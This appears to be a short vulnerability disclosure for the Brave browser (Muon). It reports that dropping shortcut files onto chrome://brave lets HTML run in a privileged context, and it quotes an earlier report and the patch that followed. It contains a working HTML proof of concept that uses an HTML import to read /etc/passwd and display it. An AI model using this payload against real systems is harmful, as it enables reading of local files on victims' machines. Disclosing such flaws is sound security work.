RCE: DnDing shortcut files to chrome://brave allows loading HTML files in Muon's context

> \#395737 has shown that Brave supports `chrome://brave/<local_file>` URLs. > The Brave team introduced a patch which blocks navigation to `chrome://brave` and removed `chrome.remote.require` to prevent command execution on the machine.

<head>
    <!-- Local files reading -->
    <script>
        function show() {
            var file = link.import.querySelector('body')
            alert(file.innerHTML)
        }
    </script>
    <link id="link" onload="show()" rel="import" as="document" href="chrome://brave/etc/passwd">
</head>